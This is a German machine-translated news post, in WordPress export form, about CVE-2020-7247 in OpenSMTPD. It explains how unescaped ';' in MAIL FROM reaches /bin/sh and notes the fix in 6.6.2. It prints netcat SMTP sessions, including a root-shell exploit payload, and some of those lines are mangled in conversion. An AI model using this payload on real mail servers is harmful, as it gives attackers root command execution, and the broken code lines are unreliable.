{"id":55807,"date":"2020-01-29T00:00:00","date_gmt":"2020-01-28T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root"},"modified":"2020-02-18T14:03:57","modified_gmt":"2020-02-18T11:03:57","slug":"uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","title":{"rendered":"Eine Schwachstelle in OpenSMTPD erm\u00f6glicht die Remote-Codeausf\u00fchrung mit Root-Rechten","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Im entwickelten OpenBSD-Projekt Mailserver <noindex><a rel=\"nofollow\" href=\"https:\/\/opensmtpd.org\/\">OpenSMTPD<\/a><\/noindex> wurde <noindex><a rel=\"nofollow\" href=\"https:\/\/www.openwall.com\/lists\/oss-security\/2020\/01\/28\/3\">eine kritische Sicherheitsanf\u00e4lligkeit<\/a><\/noindex> wurde eine Schwachstelle (CVE-2020-7247) entdeckt, die es erm\u00f6glicht, Shell-Befehle auf dem Server mit Root-Rechten auszuf\u00fchren. Die Sicherheitsanf\u00e4lligkeit wurde bei einem erneuten Audit durch die Firma Qualys Security festgestellt (das vorherige Audit von OpenSMTPD <noindex><a rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=43090\">wurde<\/a><\/noindex> im Jahr 2015 durchgef\u00fchrt, w\u00e4hrend die neue Schwachstelle seit Mai 2018 besteht). Das Problem <noindex><a rel=\"nofollow\" href=\"https:\/\/www.mail-archive.com\/misc@opensmtpd.org\/msg04850.html\">die Schwachstelle<\/a><\/noindex> ist in der Version OpenSMTPD 6.6.2. Allen Benutzern wird dringend empfohlen, das Update zu installieren (f\u00fcr OpenBSD kann das Patch \u00fcber syspatch installiert werden).<\/p>\n<p>Es wurden zwei Angriffsvarianten vorgeschlagen. Die erste Variante funktioniert in der Standardkonfiguration von OpenSMTPD (Annahme von Anfragen nur von localhost) und erm\u00f6glicht es, das Problem lokal auszunutzen, wenn der Angreifer Zugriff auf das lokale Netzwerk-Interface (Loopback) des Servers hat (z.B. in Hosting-Systemen). Die zweite Variante tritt auf, wenn OpenSMTPD so konfiguriert ist, dass es externe Netzwerk-Anfragen akzeptiert (Mailserver, der externe Mails empf\u00e4ngt). Die Forscher haben einen Exploit-Prototyp entwickelt, der erfolgreich sowohl mit der OpenSMTPD-Version aus OpenBSD 6.6 als auch mit der portablen Version f\u00fcr andere Betriebssysteme (getestet in Debian Testing) funktioniert.<\/p>\n<p>Das Problem entsteht durch einen Fehler in der Funktion smtp_mailaddr(), die zur \u00dcberpr\u00fcfung der G\u00fcltigkeit der Werte in den Feldern \u201eMAIL FROM\u201c und \u201eRCPT TO\u201c aufgerufen wird, die den Absender\/Empf\u00e4nger definieren und w\u00e4hrend der Verbindung mit dem Mailserver \u00fcbermittelt werden. Um den Teil der E-Mail-Adresse vor dem Zeichen \u201e@\u201c zu \u00fcberpr\u00fcfen, wird in smtp_mailaddr() die Funktion<br \/>\nvalid_localpart() aufgerufen, die die zul\u00e4ssigen (MAILADDR_ALLOWED) Zeichen \u201e!#$%\u2019*?\/^`{|}~+-=_\u201c, gem\u00e4\u00df den Anforderungen von RFC 5322, ber\u00fccksichtigt. <\/p>\n<p>Dabei erfolgt die direkte Maskierung des Strings in der Funktion mda_expand_token(), die nur die Zeichen \u201e!#$%\u2019*?`{|}~\u201c (MAILADDR_ESCAPE) ersetzt. Anschlie\u00dfend wird der in mda_expand_token() vorbereitete String verwendet, um den Zustellagenten (MDA) mit dem Befehl \u2018execle(\u2018\/bin\/sh\u2019, \u2018\/bin\/sh\u2019, \u2018-c\u2019, mda_command,\u2026\u2019. Im Fall des Versendens einer Mail in mbox wird der Befehl \u2018\/usr\/libexec\/mail.local -f %%{mbox.from} %%{user.username}\u2019 \u00fcber \/bin\/sh ausgef\u00fchrt, wobei der Wert \u2018%{mbox.from}\u2019 die maskierten Daten aus dem Parameter \u2018MAIL FROM\u2019 enth\u00e4lt.<\/p>\n<p>Die Essenz der Schwachstelle ist, dass smtp_mailaddr() einen logischen Fehler hat, durch den die Funktion bei der \u00dcbermittlung einer leeren Domain in der E-Mail einen erfolgreichen Pr\u00fcfcode zur\u00fcckgibt, selbst wenn der Teil der Adresse vor dem \u201e@\u201c ung\u00fcltige Zeichen enth\u00e4lt. Bei der Vorbereitung des Strings in der Funktion mda_expand_token() werden nicht alle m\u00f6glichen Shell-Sonderzeichen maskiert, sondern nur die Sonderzeichen, die im E-Mail-Adresse zul\u00e4ssig sind. Daher gen\u00fcgt es, in der lokalen E-Mail-Adresse das Zeichen \u201e;\u201c und ein Leerzeichen zu verwenden, die nicht im Satz MAILADDR_ESCAPE enthalten sind und nicht maskiert werden. Zum Beispiel:<\/p>\n<p>   $ nc 127.0.0.1 25<\/p>\n<p>   HELO professor.falken<br \/>\n   MAIL FROM:<br \/>\n   RCPT TO:<br \/>\n   DATA<br \/>\n   .<br \/>\n   QUIT<\/p>\n<p>Nach dieser Sitzung wird OpenSMTPD bei der Zustellung an mbox den Befehl \u00fcber die Shell ausf\u00fchren. <\/p>\n<p>   \/usr\/libexec\/mail.local -f ;sleep 66; root<\/p>\n<p>Dabei sind die Angriffsm\u00f6glichkeiten dadurch eingeschr\u00e4nkt, dass der lokale Teil der Adresse nicht mehr als 64 Zeichen umfassen darf und die Sonderzeichen \u201a$\u2018 und \u201a|\u2018 bei der Maskierung durch \u201a:\u2018 ersetzt werden. Um diese Einschr\u00e4nkung zu umgehen, wird die Tatsache genutzt, dass der Inhalt der E-Mail nach dem Start von \/usr\/libexec\/mail.local \u00fcber den Eingabestrom \u00fcbermittelt wird, d.h. durch Manipulation mit der Adresse kann nur der Shell-Interpreter sh gestartet werden, wobei der Inhalt der E-Mail als Satz von Anweisungen verwendet wird. Da im Kopf der E-Mail die SMTP-Header angegeben sind, wird empfohlen, den Befehl read in einer Schleife zu verwenden, um diese zu \u00fcberspringen. Der funktionsf\u00e4hige Exploit sieht ungef\u00e4hr so aus:<\/p>\n<p>   $ nc 192.168.56.143 25<\/p>\n<p>   HELO professor.falken<br \/>\n   MAIL FROM:&lt;;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;&gt;<br \/>\n   RCPT TO:&lt;root@example.org&gt;<br \/>\n   DATA<br \/>\n   #0<br \/>\n   #1<br \/>\n   \u2026<br \/>\n   #d<br \/>\n   for i in W O P R; do<br \/>\n        echo -n \u2018($i) \u2018 &gt; &amp;&amp; id || break<br \/>\n   done &gt; \/root\/x.`id -u`.$$$<br \/>\n   .<br \/>\n   QUIT<\/p>\n<p><noindex><a rel=\"nofollow\" name=\"link\"><\/a><\/noindex><\/p>\n<p>Quelle: <a \ncontent=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=52267\">opennet.ru<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-7247), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Qualys Security (\u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 OpenSMTPD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0432 2015 \u0433\u043e\u0434\u0443, \u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u043c\u0430\u044f 2018 \u0433\u043e\u0434\u0430). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 OpenSMTPD 6.6.2. \u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-55807","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/de\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.0.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"de_DE\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/de\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-01-28T21:00:00+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-02-18T11:03:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Schwachstelle in OpenSMTPD, die das Ausf\u00fchren von Code mit Root-Rechten aus der Ferne erm\u00f6glicht | ProHoster","description":"Im entwickelten Projekt OpenBSD wurde im Mailserver OpenSMTPD eine Sicherheitsanf\u00e4lligkeit festgestellt.","canonical_url":"https:\/\/prohoster.info\/de\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"de_DE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster","og:description":"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430","og:url":"https:\/\/prohoster.info\/de\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-01-28T21:00:00+00:00","article:modified_time":"2020-02-18T11:03:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"55807","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 19:36:30","updated":"2022-10-09 15:09:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/55807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/comments?post=55807"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/55807\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/media?parent=55807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/categories?post=55807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/tags?post=55807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}